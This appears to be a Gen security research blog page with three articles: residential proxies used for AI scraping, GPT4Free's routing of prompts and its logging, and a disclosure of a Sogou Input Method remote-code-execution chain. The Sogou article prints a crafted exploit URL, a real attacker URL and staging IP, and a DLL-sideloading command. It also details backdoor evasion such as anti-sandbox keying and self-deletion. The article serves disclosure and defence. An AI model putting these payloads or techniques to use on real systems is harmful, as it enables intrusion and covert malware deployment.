Senior Malware Researcher

Our team invests countless hours in the exploration, discovery and investigation of emerging trends such as AI and futuristic technology. Stay informed about the evolving landscape of cyberthreats through our diligent efforts and insights.

Security Evangelist at Gen

Research

An ordinary home connection can now form part of a much larger data collection network, sometimes through an app installed for a completely different reason.&nbsp;AI models were first associated with enormous collections of text, but today's systems need far more: current search results, product catalogues, images, music, video, live websites and almost anything else that can make them more capable or keep their answers up to date. Training is only part of the demand. Shopping assistants, research tools and other AI agents need to return to the web continuously if they are to work with current information.&nbsp;Collecting all of that data is not straightforward. Website operators impose rate limits, block known datacenter addresses and use anti-bot systems to identify automated activity. A crawler operating from a cloud server is relatively easy to spot. Traffic coming from an ordinary home connection is much harder to reject without also blocking legitimate visitors.&nbsp;Residential proxy networks offer a way around those controls by routing requests through IP addresses assigned to real households. The website sees what appears to be an ordinary visitor in a particular country, city or network, which is precisely what makes the connection valuable to the buyer.&nbsp;The person paying for that connection may see a very different proposition: install an app, share some "unused bandwidth" and receive money, rewards or free access in return. The screen may explain that the app will use spare resources, but say little about who will use the connection, which websites they will visit or why a residential IP address is worth paying for.&nbsp;

<h2>Why AI companies want residential IP addresses&nbsp;</h2>Once an AI product depends on live information, web access becomes part of the product itself. A shopping assistant is of limited use if it cannot see today's prices and stock, while a research agent has to open pages and follow links as it works. The same problem applies to systems handling audio, images and video.&nbsp;Many websites do not welcome automated collection at that scale. They throttle repeated requests, challenge suspicious sessions and block addresses associated with data centers or known automation. Residential proxies spread those requests across household connections, making them much harder to separate from normal browsing.&nbsp;This is no longer a niche use case hidden in technical documentation. Several large proxy providers now give AI its own product pages, integrations and commercial programmes.&nbsp;<a href="https://brightdata.com/ai/web-access" target="_blank" rel="noreferrer noopener">Bright Data</a> promotes infrastructure for model training, retrieval, multimodal datasets and web access for AI agents. It claims access to more than 400 million residential IP addresses and presents its services as a way to overcome CAPTCHAs, rate limits and blocked requests.&nbsp;<a href="https://oxylabs.io/solutions/ai-web-search" target="_blank" rel="noreferrer noopener">Oxylabs</a> sells proxy and scraping infrastructure for real-time AI search and agents, while <a href="https://soax.com/use-cases/ai-datasets" target="_blank" rel="noreferrer noopener">SOAX</a> recommends rotating residential proxies for collecting product data, prices, listings and AI training sets. <a href="https://decodo.com/data-ai-training" target="_blank" rel="noreferrer noopener">Decodo</a> markets residential proxies and scraping tools for AI training and live agents. <a href="https://iproyal.com/use-cases/ai-training/" target="_blank" rel="noreferrer noopener">IPRoyal</a> describes rotating residential proxies as infrastructure for large-scale AI data collection.&nbsp;The network sizes are the companies' own figures and should be read as marketing claims rather than independent measurements. Even so, the pitch across the industry is remarkably consistent: household IP addresses help automated systems reach websites that resist datacenter traffic.&nbsp;The Suno leak offered a rare look at how this can work from the customer's side. <a href="https://ddosecrets.org/article/suno-ai-source" target="_blank" rel="noreferrer noopener">Distributed Denial of Secrets</a> published more than 100 repositories attributed to the AI music company, saying the material showed that Suno collected music and related information from YouTube, Genius and Deezer with assistance from Bright Data. <a href="https://www.404media.co/hack-reveals-suno-ai-music-generator-scraped-youtube-deezer-and-genius/" target="_blank" rel="noreferrer noopener">404 Media</a> reported that one file referred to 2,013,545 YouTube Music clips, while comments in other files described datasets containing hundreds of thousands of hours of audio.&nbsp;<h2>How household connections enter the supply chain&nbsp;</h2>A residential network can only offer household IP addresses if real devices supply them. Some people deliberately install bandwidth-sharing or "passive income" tools. In other cases, the proxy component sits inside a free app whose visible purpose has nothing to do with routing somebody else's traffic.&nbsp;<a href="https://spur.us/blog/smart-tv-apps-residential-proxy-sdks" target="_blank" rel="noreferrer noopener">Spur Intelligence</a> scanned 6,038 applications across LG webOS and Samsung Tizen and reported residential proxy functionality in 2,058 of them. The list included games, screensavers and utilities, exactly the sort of apps someone could install without expecting the television to become part of a commercial proxy network.&nbsp;Televisions are useful proxy nodes because they remain online for long periods and few people inspect what is running in the background. Someone may accept a prompt once, forget about it and continue using the television while the proxy component remains active. <a href="https://www.mnemonic.io/resources/blog/samsungs-recommendation-rent-out-your-tvs-internet-connection/" target="_blank" rel="noreferrer noopener">Researchers at Mnemonic</a> found that, once enabled, the Bright Data SDK in some Samsung apps activated a background service that continued running after the user navigated away from the app.&nbsp;The television manufacturers have since responded. <a href="https://krebsonsecurity.com/2026/07/lg-to-ban-residential-proxies-from-smart-tv-apps/" target="_blank" rel="noreferrer noopener">LG</a> said it would suspend webOS apps whose developers failed to remove residential proxy functionality. <a href="https://techcrunch.com/2026/08/03/samsung-bans-smart-tv-apps-that-share-users-internet-connections-with-strangers/" target="_blank" rel="noreferrer noopener">Samsung</a> has restricted new app registrations containing proxy components, is introducing a platform-wide ban on residential proxy SDKs and says it is identifying and removing existing apps that contain them.&nbsp;Whatever an individual consent screen may say, these companies have decided that residential proxy functionality does not belong in apps distributed through their smart TV platforms.&nbsp;<h2>What "unused bandwidth" does not tell you&nbsp;</h2>The phrase sounds harmless. Most people will understand it as capacity that is sitting idle, not as permission for paying customers to visit websites through their IP address.&nbsp;That IP address is what gives the connection its commercial value. It allows a proxy customer to make requests that websites see as coming from a household rather than a datacenter. Describing the arrangement only in terms of bandwidth leaves out the part that buyers are actually paying for.&nbsp;The amount of traffic can also be difficult to judge from a consent screen. In the Petflix Roku app, the screen said Bright Data would <a href="https://blog.includesecurity.com/2026/06/the-smart-tv-in-your-livingroom-is-a-node-in-the-aiscraping-economy/" target="_blank" rel="noreferrer noopener">"occasionally" use the device's free resources</a> and IP address to download public web data. Include Security found that the SDK's publicly accessible configuration set a maximum of 200 GB of Wi-Fi traffic per month. That setting does not tell us how much data a typical device transferred, but it does show how little the word "occasionally" tells the person being asked to agree.&nbsp;<h2>Residential proxy networks also carry malicious traffic&nbsp;</h2>Fraudsters use the same infrastructure for phishing, malicious advertising, automated account activity and malware distribution.&nbsp;In our <a href="https://www.gendigital.com/blog/insights/research/residential-proxies" target="_blank" rel="noreferrer noopener">previous research</a>, Gen telemetry recorded 7.4 million malicious incidents associated with residential proxy traffic since January 2026, affecting 572,000 users. Phishing and malicious advertising were the largest categories, followed by e-shop scams, financial scams and malware.&nbsp;Those figures do not measure the whole residential proxy market, and they do not mean that every affected user was running a proxy node. They cover malicious activity associated with residential proxy traffic that reached people protected by our products.&nbsp;When abusive traffic exits through a household connection, that address may be the first identifier seen by the outside world. The customer can stop using the proxy, but blocks or suspicion may remain attached to the household connection.&nbsp;<h2>What informed consent would require&nbsp;</h2>Residential proxy providers say their networks are ethically sourced and based on user consent. <a href="https://brightdata.com/trustcenter/sourcing" target="_blank" rel="noreferrer noopener">Bright Data</a>, for example, says devices join its network only after users agree through an approved app and consent screen.&nbsp;A user may click "accept" knowing that an app will use spare bandwidth and still have no idea that companies will route automated traffic through the connection. They may never be told that the traffic could involve AI training, web scraping or software agents visiting sites at scale.&nbsp;The consent screen should say that third parties will access websites through the user's home IP address. It should explain the main categories of use, show when the proxy is active and make it possible to switch the function off without losing control of the rest of the app. Users should also be told how much data the software is allowed to consume.&nbsp;Residential proxies do have legitimate uses, including ad verification, price comparison and testing how services appear in different locations. AI developers also need current public information. In any case, those uses do not justify vague consent.&nbsp;People do not need to know the term “residential proxy.” They do need to know that third parties may route traffic through their home connection, that websites will see their IP address, and how much data the software is allowed to consume. That should be clear before they click accept, not buried in terms they are unlikely to read.&nbsp;Calling it “unused bandwidth” does not change what the buyer is purchasing: access to a household IP address.&nbsp;

Residential proxy providers sell household IP access for AI data collection, but many users do not understand what that access involves. 

Is Your Home Internet Feeding the AI Data Race? 

Threat Analysis Engineer

At first, nothing about the conversation looks unusual. You open g4f.dev, choose one of the many AI models on offer, type a question and watch the answer appear. The exchange feels direct, almost private: you, the website and the model whose name you selected.&nbsp;We decided to follow the prompt. What looked like a simple conversation quickly became much more crowded, with GPT4Free infrastructure, provider code, third-party services and external model endpoints all potentially playing a part. Along the way, details about the request could be recorded together with the user’s IP address and approximate location, while the model named in the interface did not always match the model identified in the response.&nbsp;The strangest part came when we examined where some of those requests might be processed. The project includes lists of externally accessible Ollama systems, including servers on personal-looking domains and infrastructure associated with organizations or other services. Their relationship with GPT4Free is not made clear to the person whose prompt may be sent in their direction.&nbsp;This is not a story about every free AI service, and “free” is not in itself evidence of anything sinister. It is a look at one popular service and at how little a polished chatbot interface can reveal about the people, systems and data practices operating behind it.&nbsp;

<h2>We followed the prompt&nbsp;</h2>GPT4Free is a widely followed open-source project that can be installed locally, but it also operates a hosted chat service at g4f.dev. Our analysis concentrated on that hosted version, where visitors can choose from models carrying names associated with OpenAI, Google, Anthropic and other developers without creating separate accounts with those companies.&nbsp;

Behind that one interface sits a collection of providers, small pieces of code that take a chat request and adapt it to whatever the next service expects. Some lead towards official model endpoints, others recreate the web exchanges used by third-party AI sites, and some draw on custom servers. Routes that are technically very different become visually indistinguishable once they appear in the same model menu.&nbsp;Following the request therefore meant looking past the label in the interface. We compared the model chosen by the user with the provider selected by GPT4Free, the request sent onwards and the identifier returned with the answer. That was when the apparently straightforward conversation began to come apart.&nbsp;<h2>The model we chose was not always the model that answered&nbsp;</h2>Several of our tests used options associated with the Gemini provider. The prompts travelled through an OpenAI-compatible chat endpoint on g4f.space before being directed to Google’s Gemini infrastructure, but in some of those exchanges the model named in the response differed from the one we had selected in GPT4Free.&nbsp;

During our testing, we observed multiple cases in which the model reported in the response differed from the one requested. Google documents that a latest alias can be updated to a newer release within the same model variation, which may explain some model changes. However, that documented behaviour does not explain the cases in which requests for Gemini Pro or Gemini Omni resulted in responses reporting models/gemini-3-flash-preview. GPT4Free’s code uses defaultModel when no model is provided or when the selection is set to “auto”, but neither condition applied in these tests. Based on the evidence currently available, we cannot determine where in the chain the model was changed or which service was responsible.&nbsp;For someone using the chat, the uncertainty remains regardless of which system made the switch. Selecting a model in an aggregator tells you what you requested, but it does not prove what ultimately processed the prompt. Establishing that requires the entire trail, from the interface and provider to the request sent upstream and the identifier that comes back with the response.&nbsp;<h2>Then the trail led to other people’s AI servers&nbsp;</h2>The investigation became more unusual when we reached Ollama.swarm. Ollama allows people to run large language models on their own computers, and much of its privacy appeal comes from keeping prompts and answers on that hardware. Its API normally listens only on the local machine, although an owner can expose it to a wider network, deliberately or through a configuration mistake, and an exposed instance may end up reachable from the public internet.&nbsp;GPT4Free’s provider code relies on JSON files containing addresses for external AI endpoints. One seed file describes 196 Ollama sources and actually contains slightly more than 200 entries. A comment attributes 20 of them to Shodan, while the origin of the rest is left unexplained in the material we examined. When we tested a selection, some responded as working Ollama or llama.cpp services and others had already disappeared.&nbsp;

The project also maintains a richer source for its Custom Providers list. Entries in the public server metadata can include a base URL, supported models and other routing information, while the is_ollama field identifies those configured as Ollama services. We found GPT4Free workers there, but also personal-looking domains and infrastructure associated with organisations or unrelated services.&nbsp;

The list alone cannot tell us why each server is there. Its owner may knowingly provide capacity to GPT4Free, may have exposed the service for another purpose, or may not realise that it can be reached at all. We therefore cannot describe the listed systems collectively as compromised or claim that they are all being used without consent. What we can see is a service offering them as possible destinations without explaining their ownership or role to the person typing the prompt.&nbsp;If a conversation reaches one of those systems, its privacy no longer depends only on GPT4Free or the company behind the model. It also depends on an endpoint the user did not choose and may never know existed, leaving no practical way to assess whether the prompt is recorded there, how long it remains or what else might happen to it.&nbsp;<h2>To reach another provider, the code puts on a disguise&nbsp;</h2>Toolbaz offered a different example of how the provider layer works. The site lets people try several AI models in a browser and uses automated checks intended to recognise a real visitor using a real device. The integration we examined recreates the web request Toolbaz expects and builds a plausible browser fingerprint containing screen dimensions, language, time zone and other details. It also generates a fresh identity for every request.&nbsp;

Together, these mechanisms make automated requests look more like separate human visits and make controls tied to a recurring identity less effective.&nbsp;The response also introduced another unresolved model name. We requested gpt-5.2, but the returned metadata identified toolbaz-v4.5-fast. Toolbaz describes ToolBaz-v4.5-Fast as its proprietary model and presents it separately from GPT-5.2. This indicates that the response was not identified as the model selected in GPT4Free, although we cannot determine the underlying architecture or technology behind Toolbaz’s proprietary model.&nbsp;<h2>The conversation does not simply pass through&nbsp;</h2>Following the prompt explained where it could travel, but the code also revealed what GPT4Free could keep. The researchers found separate code paths for usage and error logging, including retention logic covering 14 days for usage logs and 30 days for error logs. The usage-logging code includes fields for the requester’s IP address, approximate geolocation, provider, model and conversation data. The researchers did not have access to the stored logs themselves, so these findings describe the logging behavior implemented in the code, not the contents of the service’s live log files.&nbsp;The interaction between the chat interface and that logging logic creates an unexpected possibility. In the default mode, the browser resends the whole conversation whenever the user adds another message. The logger, according to our analysis, reads the first entry and then stops, so the opening prompt is repeatedly available to be recorded, while later messages reach the server without entering the GPT4Free usage log in the same way.&nbsp;

The obvious instinct might be to enable “Disable Conversation History”, but doing so changes the shape of each request. The browser then sends one message at a time, placing every new prompt in the first position where the same logging function can capture it.&nbsp;

A setting that appears more private can therefore cause more individual prompts to become eligible for the service’s usage log. “Disable Conversation History” accurately describes what changes in the browser interface, but it tells the user nothing about this less intuitive effect behind it.&nbsp;<h2>We went looking for an explanation&nbsp;</h2>By this stage we knew that prompts could cross several providers, that the displayed model did not always settle the question of which model answered, and that GPT4Free could retain conversation data alongside network and location information. We then looked for the documents that would normally explain those practices to users.&nbsp;We identified versions of the project’s members page on two related domains, gpt4free.github.io and g4f.dev. Both ask visitors to agree to a Privacy Policy and Terms of Service, but following either link returned the same Member Area instead of opening the promised document.&nbsp;

Because broken links do not necessarily mean that the documents are absent, we searched both domains separately for pages containing privacy or terms-related language. We also reviewed the project’s manifesto, the closest document we found to a general statement about how the service operates, but it does not explain how personal data or prompts are handled. Across those checks, Gen Threat Labs could not find a Privacy Policy or Terms of Service for the hosted service.&nbsp;A web search cannot prove that an unindexed page does not exist somewhere, which is why we are describing what we could find rather than claiming that no such document can possibly exist. For an ordinary user, however, the result is the same: the service asks for agreement to two documents that it does not provide through its own links and that we could not locate elsewhere.&nbsp;<h2>Think of the prompt as something you are handing over&nbsp;</h2>GPT4Free’s openness allowed us to inspect mechanisms that would remain hidden inside a closed platform. Most visitors will never read the code or suspect how many systems may be involved in producing one answer.&nbsp;Anyone using an unofficial AI service should assume that a prompt may travel through several parties. Passwords, authentication tokens, confidential documents, internal information, health or financial details and data about other people have no place there. Removing a name may not be enough when the surrounding context still identifies someone.&nbsp;Ollama users face the other side of the same story: local hardware offers no privacy if its API is exposed. Free or paid matters less than whether the operator can explain where prompts go, who processes them and what is retained. We began with a direct-looking conversation and found multiple providers, shifting identifiers, third-party endpoints and hidden logs.&nbsp;

You choose a model, ask a question and get an answer. Behind that familiar exchange is a less familiar journey involving prompt logs, shifting model identities and servers whose role is never explained to users.

Free AI, at the Price of Your Prompt

<h2>Key Points</h2>
Gen Threat Labs discovered a critical remote code execution vulnerability (CVE-2026-51990) in Sogou Input Method, one of the most widely used Chinese-language input method editors with hundreds of millions of installations.
The vulnerability chains three separate weaknesses into a single, one-click exploit: unvalidated command-line argument injection in the sgbiz: custom protocol handler, unrestricted URL navigation in a CEF-based webview, and a severely outdated, unsandboxed Chromium browser engine.
We observed this vulnerability actively exploited in the wild by the UNC3569 threat group to deploy the GRAYRABBIT backdoor through a crafted link.
The vulnerability was reported to Tencent, who owns and develops Sogou Input Method, and has since been fixed.
<h2>Introduction</h2>
If you are reading this on a computer in China, there is a good chance you have Sogou Input Method installed. It is one of the most popular Chinese-language input method editors (IMEs) for Windows, with hundreds of millions of users. Like many modern desktop applications, Sogou Input Method ships with its own embedded browser engine, an update mechanism, and a set of custom protocol handlers that let different components talk to each other.
During a routine investigation of a UNC3569 intrusion, we traced the initial access back to something unexpected: the process chain started inside Sogou Input Method. That finding led us down a rabbit hole that ended with a critical remote code execution vulnerability, a single crafted link that could silently open a backdoor on any machine running the software. No user interaction beyond clicking the link was required.
We reported the vulnerability to Tencent, who patched it in a subsequent update. It was assigned CVE-2026-51990.
In this post, we walk through the vulnerability in detail, explain how each piece fits together, and then cover what UNC3569 did with it in the wild.

<h2>The Attack Surface: How Sogou Input Method Talks to Itself</h2>
Before diving into the vulnerability itself, it helps to understand the moving pieces. Sogou Input Method is not a single executable. It is a collection of components that communicate through a custom protocol scheme registered on Windows: sgbiz:.
When the user (or a webpage, or any application) opens a URL that starts with sgbiz:, Windows hands it off to biz_helper.exe, the protocol handler. This binary parses the URL, figures out what the caller is asking for, and dispatches the request to the appropriate Sogou component.
A typical sgbiz: URL looks something like this:
sgbiz:sg_process?module=sgmyinput.exe&amp;param=-page=skincenter
The URL path (sg_process, component, td_process) tells biz_helper.exe which handler to use. The query parameters provide the details: which executable to launch, what arguments to pass, what working directory to use, and so on. This is where things go wrong.
<h2>Vulnerability 1: Unvalidated Argument Injection in biz_helper.exe</h2>
The first link in the chain is the protocol handler itself. When biz_helper.exe receives an sgbiz: URL with the sg_process command, it extracts five parameters from the URL:
<ul>
<li>module: the name of the Sogou executable to launch</li>
<li>param: command-line arguments to pass to that executable</li>
<li>work_dir: the working directory</li>
<li>start_mode: how to launch the process (CreateProcessW or ShellExecuteW)</li>
<li>start_show: the window show state</li>
</ul>
The module parameter gets a thorough security check. The validation function scans it for forbidden characters (\ / : * ? " &lt; &gt; |) to block path traversal, enforces a MAX_PATH length limit, resolves the name relative to the Sogou installation directory, and then calls GetFileAttributesW to confirm the target file actually exists and is not a directory.

This validation exists for a good reason. It is there to block path traversal through the module parameter, which would allow attackers to launch arbitrary executables. But they missed something.
The param parameter, which controls what command-line arguments get passed to the launched executable, receives no validation at all. After being extracted from the URL, it goes through a single URL decode (the mbdup function) and is then passed directly and unmodified as the command-line arguments to whatever executable module points to. No sanitization, no allowlisting, no filtering, nothing.

This means an attacker can inject arbitrary command-line arguments into any Sogou executable that can be launched through the sg_process handler. And that is exactly what opens the door to the next vulnerability.

<h2>Vulnerability 2: Unrestricted URL Navigation in SGMyInput.exe</h2>
The attacker's crafted URL targets SGMyInput.exe, the Sogou Input Method configuration application, and passes it a carefully chosen set of arguments:
sgbiz:sg_process?module=sgmyinput.exe&amp;param=-page%3Dskincenter%20-url%3Dhttps%253A%252F%252Fattacker.com%252Fexploit.html
After URL decoding, the param value becomes:
-page=skincenter -url=https://attacker.com/exploit.html
The -page parameter determines which UI module SGMyInput.exe initializes. Most page types (fuzzy, confignormal, personcenter, keyset, and so on) create native Win32 configuration dialogs. But one page type is different: skincenter.
The skincenter page is the skin marketplace. Unlike every other page type, it creates a CEF (Chromium Embedded Framework) webview to display the skin store. It is the only code path in SGMyInput.exe that instantiates a browser. This is why the attacker chose skincenter specifically. When the webview is ready, the SkinCenterWebViewEvent::OnWebViewIsReady function checks whether a custom URL was provided through the -url command-line parameter (stored in the wszCustomUrl field of the SkinCenterWebViewEvent object). If one exists, the function copies it and navigates the browser directly to that URL.

Under normal circumstances, the webview would load internal Sogou URLs like <a href="https://sogoupyskin/">https://sogoupyskin/</a>, <a href="https://page.sogou/">https://page.sogou/</a>, or <a href="https://res.sogou/">https://res.sogou/</a>. The code registers these domains and loads HTML content and resources for them. But when a custom URL is present, the function just uses it. There is no scheme check (http, https, file, data, javascript, all are accepted), there is no domain allowlist, there is no validation of any kind.
So, the attacker-controlled URL from the sgbiz: link flows straight from biz_helper.exe through SGMyInput.exe and into a CEF browser that navigates wherever the attacker wants. That would already be a significant vulnerability on its own, but it gets worse.
<h2>Vulnerability 3: A Browser Engine from 2020, Running Without a Sandbox</h2>
The embedded browser in Sogou Input Method is powered by CEF (Chromium Embedded Framework). The actual rendering happens in a separate process: SGWebRender.exe.
SGWebRender.exe itself is a thin launcher. Its WinMain constructs the path to SGMiniBrowserHelperHost1.0.0.8.dll, loads it via LoadLibraryExW, and resolves the GetBrowserManagerInstance export. This function returns a browser manager singleton, whose Run method triggers the actual CEF initialization inside the DLL.

The DLL's CefBrowserInit function calls cef_enable_highdpi_support, parses the command line via GetCommandLineW, determines the process type (browser, renderer, or other), and then calls cef_execute_process for sub-processes. For the main browser process, it creates a CefSettings structure and populates it through PopulateCefSettings before calling cef_initialize. The CefApp object's OnBeforeCommandLineProcessing callback then appends additional Chromium command-line switches before the engine starts.
The problem is the CEF version. The libcef.dll bundled with Sogou Input Method identifies itself as CEF 80.1.16 with Chromium 80.0.3987.163. This version dates back to approximately March 2020, making it over six years old and roughly 60 major versions behind the current Chromium stable channel at the time of our analysis.
That alone would be a serious issue. Chromium 80 is missing six years of security patches and is vulnerable to hundreds of known CVEs, including critical V8 engine bugs that allow arbitrary code execution through JavaScript. But the situation is made dramatically worse by the security settings hardcoded inside the DLL.
First, the PopulateCefSettings function explicitly sets no_sandbox to TRUE in the CefSettings structure. This disables the Chromium sandbox entirely. The sandbox is the primary defense-in-depth mechanism that prevents a compromised renderer from accessing the host operating system. Without it, any renderer exploit gains full access to the system with the privileges of the current user.

Then, the ConfigureCefCommandLineSwitches callback (the CefApp's OnBeforeCommandLineProcessing handler) appends a series of switches that strip away even more protections:
<ul>
<li>disable-web-security: disables the same-origin policy, allowing any page to read from any origin</li>
<li>allow-file-access-from-files: lets URLs read other local files</li>
<li>disable-gpu-shader-disk-cache</li>
<li>enable-direct-write</li>
<li>disable-spell-checking</li>
</ul>
The disable-web-security and allow-file-access-from-files flags are gated behind a bDisableWebSecurity field in the CefApp object. But that flag is hardcoded to 1 by SGWebRender.exe when it initializes the browser manager. It is not a runtime toggle or a configuration option. It is always on.

The disable-web-security flag is particularly dangerous. Even without a full browser exploit, disabling the same-origin policy means any page loaded in this webview could make authenticated requests to internal network services, read their responses, and exfiltrate the data. Combined with the lack of a sandbox, this creates an environment where exploitation is as easy as it gets.

In short: the attacker can force this ancient, unprotected browser to navigate to any URL they want. All they need is a JavaScript exploit for any Chromium vulnerability published in the last six years.
<h2>Putting It All Together</h2>
The full exploit chain works like this:
<ol>
<li>
The attacker crafts an sgbiz: URL and delivers it to the victim (for example, through a phishing email, a message, or a link on a webpage).
</li>
<li>
When the victim clicks the link, Windows hands it to biz_helper.exe, which parses the sgbiz: URL, validates the module parameter (sgmyinput.exe passes the check because it is a legitimate Sogou executable), and passes the unvalidated param value as command-line arguments.
</li>
<li>
SGMyInput.exe launches with -page=skincenter and -url=https://attacker.com/exploit.html. The skincenter page creates a CEF webview, and the OnWebViewIsReady function navigates the browser to the attacker's URL without any validation.
</li>
<li>
SGWebRender.exe, running Chromium 80 with no sandbox and with same-origin policy disabled, loads the attacker's page. The page contains a JavaScript exploit targeting any known V8 vulnerability from the last six years.
</li>
<li>
Because there is no sandbox, the exploit achieves direct system-level code execution. The attacker can now do anything the current user can do.
</li>
</ol>
The entire chain requires nothing more than a single click on a link.
<h2>Observed in the Wild: UNC3569's GRAYRABBIT Backdoor</h2>
We did not discover this vulnerability in a lab. We found it during the analysis of an active UNC3569 intrusion.
UNC3569 is a PRC-nexus threat group documented by Google Threat Intelligence that prioritizes operational efficiency, routinely exploiting n-day vulnerabilities in widely used software and maintaining a diverse toolset that includes both custom-developed malware and commercial tools. The group has conducted cyber operations against government, education, technology, and finance sectors worldwide, with a concentration in East and Southeast Asia. Notably, UNC3569 has potential business relationships with i-SOON, a Chinese private contractor company whose internal communications were leaked in early 2024. For a comprehensive analysis of UNC3569's operations, see the Virus Bulletin 2024 paper "<a href="https://www.virusbulletin.com/uploads/pdf/conference/vb2024/papers/Down-the-GRAYRABBIT-hole-exposing-UNC3569-and-its-modus-operandi.pdf">Down the GRAYRABBIT Hole: Exposing UNC3569 and Its Modus Operandi</a>" by Google researchers.
In the campaign we observed, the attacker delivered the following URL to victims:
sgbiz:sg_process?module=sgmyinput.exe&amp;param=-page%3Dskincenter%20-url%3Dhttps%253A%252F%252Fnoht1ng.top%252Ffuckujjbangx.html
The exploit page at noht1ng.top served a JavaScript exploit for <a href="https://starlabs.sg/blog/2022/12-thehole-new-world-how-a-small-leak-will-sink-a-great-browser-cve-2021-38003/">CVE-2021-38003</a>, a V8 type confusion vulnerability in JSON.stringify that affects Chrome versions prior to 95.0.4638.69. Since Sogou's bundled Chromium is version 80, this CVE (and dozens of others from the intervening 60+ major versions) works perfectly.

The exploit used this "hole" value to corrupt V8's internal Map structures through the makeMapOdd function, eventually achieving arbitrary read/write on the heap. From there, it located a WebAssembly instance (which V8 backs with RWX memory), overwrote the executable page with embedded shellcode, and called the WebAssembly export to jump into it.

<h2>The Shellcode: Download and Sideload</h2>
The exploit contained embedded x64 position-independent shellcode (921 bytes) that acted as a downloader. The shellcode used a classic call/pop technique to find its own base address, then walked the PEB's InLoadOrderModuleList to locate kernel32.dll by matching a ROR8 hash of each module's name. It resolved LoadLibraryW by export-name hash, loaded Urlmon.dll, and resolved URLDownloadToFileA.

The downloader's role, fetching GRAYRABBIT components from an open directory server hosted on Alibaba Cloud, is functionally reminiscent of RABBITFUR, the proprietary downloader that Google Threat Intelligence has documented as UNC3569's standard mechanism for delivering GRAYRABBIT payloads. In previously observed campaigns, RABBITFUR was deployed as a standalone executable that downloaded a shellcode-wrapped GRAYRABBIT from an open directory server. Here, the same functional pattern (download from open directory, deliver XOR-encoded GRAYRABBIT) is embedded directly within the V8 exploit shellcode rather than packaged as a separate binary, potentially representing an evolution of the delivery mechanism to fit the browser-exploit initial access vector.
The shellcode fetched three files from a staging server at 8.218.50[.]207 (Alibaba Cloud, Hong Kong), consistent with UNC3569's well-documented preference for Alibaba Cloud infrastructure in the Hong Kong and Singapore regions:
<ul>
<li>7z.exe: a legitimate 7-Zip binary, used as a sideloading host</li>
<li>7zp.dll: a trojanized DLL loader (internal name: boy.dll)</li>
<li>p: an encrypted payload blob containing the final-stage RAT</li>
</ul>
These files were written to C:\Users\Public\Documents\. Crucially, the shellcode saved the trojanized DLL as 7z.dll on disk (not 7zp.dll), placing it alongside the legitimate 7z.exe. It then resolved CreateProcessA from kernel32 and executed the following command with the CREATE_NO_WINDOW (0x08000000) flag:
c:\users\public\documents\7z.exe a c:\users\public\documents\p.7z c:\users\public\documents\p
The archive command itself is irrelevant. Its sole purpose is to launch 7z.exe, which automatically loads 7z.dll from its own directory. Because the trojanized DLL has been placed there under the legitimate DLL's name, it gets sideloaded and takes over execution before 7-Zip ever processes the command line.
<h2>The Loader: Anti-Sandbox and Self-Deletion</h2>
The trojanized DLL masquerades as a legitimate 7z.dll. All standard 7-Zip exports (CreateDecoder, CreateEncoder, CreateObject, GetHandlerProperty, and so on) are present but point to empty stub functions that simply return. Only one export, GetModuleProp, contains the actual malicious code. When 7z.exe calls GetModuleProp during its initialization, the trojanized DLL springs to life.
API resolution is done entirely by hand, identical to how the shellcode performed it: the loader walks the PEB's InLoadOrderModuleList to find kernel32.dll by computing a ROR8 hash of each module's name.
The loader reads the encrypted payload file from disk into memory, then runs an anti-sandbox gate before decrypting it. The gate works by creating a process snapshot with CreateToolhelp32Snapshot and counting every running process via Process32First / Process32Next. The count is compared against a threshold of 50 (0x32). If the system has 50 or more processes (typical for a real machine), the count is discarded and replaced with zero. If the system has fewer than 50 processes (typical for a sandbox), the actual count is kept.
The DWORD XOR decryption key is then computed from three values: a deterministic floating-point result (a fixed computation that iterates 50,000 times through a sequence of sqrt, multiply, and reciprocal operations, always producing the same integer), the process count gate value, and the hardcoded constant 0x098838B0. These three values are XOR'd together. On a real machine, the gate value is zero and the XOR produces the correct decryption key. In a sandbox, the gate value is non-zero, the XOR produces a wrong key, and the payload decrypts into garbage. The decryption loop then applies this DWORD key to every four bytes of the payload buffer.

After decryption, the loader copies the result into an RWX buffer (VirtualAlloc with PAGE_EXECUTE_READWRITE) and executes it through the Windows Thread Pool API (CreateThreadpoolWork, SubmitThreadpoolWork, WaitForThreadpoolWorkCallbacks) instead of the more commonly hooked CreateThread. This helps it avoid behavioral detection rules targeting common thread creation patterns.
Before executing the payload, the loader self-deletes using an NTFS Alternate Data Stream technique. It opens its own file with DELETE access (0x10000) and FILE_SHARE_READ, then calls SetFileInformationByHandle with the FileRenameInfo class (3) to rename the default data stream to a randomly named ADS (for example, :aB3xRt). Next, it sets FileDispositionInfo (class 4) with DeleteFile = TRUE, closes the handle, reopens the file, and sets the disposition again. When all handles close, the file disappears from disk. No DeleteFileW call ever appears in behavioral logs.
<h2>The Payload: GRAYRABBIT Backdoor</h2>
The encrypted payload blob is structured as a two-stage package: a position-independent shellcode stub (0xC7 bytes) followed by the XOR-encrypted GRAYRABBIT PE. This packaging format, a short decryptor stub prepended to a single-byte XOR-encrypted PE that calls the CoreClientInstall export, is the standard GRAYRABBIT delivery format that Google Threat Intelligence has documented consistently across every UNC3569 campaign since at least 2021.
The stub uses a call/pop technique to locate its own base address, adds 0xBF to find the start of the encrypted data (which lands at file offset 0xC7), and then XOR-decrypts the entire embedded PE (0x42800 bytes) with the single-byte key 0x33. After decryption, the stub navigates the PE's export directory using an RVA-to-file-offset converter (since the PE has not been mapped into virtual memory yet), locates CoreClientInstall as the first export by ordinal, and calls it with the decrypted PE base address as the argument.
The decrypted PE is an x64 variant of GRAYRABBIT, a lightweight C++ backdoor that UNC3569 has used repeatedly over the years as a first-stage implant. The internal module name is core.dll, and the backdoor exports two functions: CoreClientInstall (the reflective loader entry point) and CoreClientStart (the main RAT loop). These export names, together with the C2 protocol structure and beacon format, are the defining identifiers for GRAYRABBIT, as documented by Google Threat Intelligence in the VB2024 paper mentioned above. The x64 variant represents a maturation of the original x86 GRAYRABBIT, with structural differences including a byte-operation-encoded C2 domain and an expanded command set.
CoreClientInstall is a reflective PE loader. It resolves VirtualAlloc from kernel32 (via the same PEB-walk hash technique), allocates RWX memory large enough for the full PE image, and maps the PE into it: copying sections to their virtual addresses, processing base relocations, and resolving imports through ntdll's LdrGetDllHandle and LdrGetProcedureAddress (also resolved by hash). Finally, it sets proper page protections on each section via VirtualProtect, calls DllMain with DLL_PROCESS_ATTACH, and then resolves CoreClientStart by export-name hash and calls it.

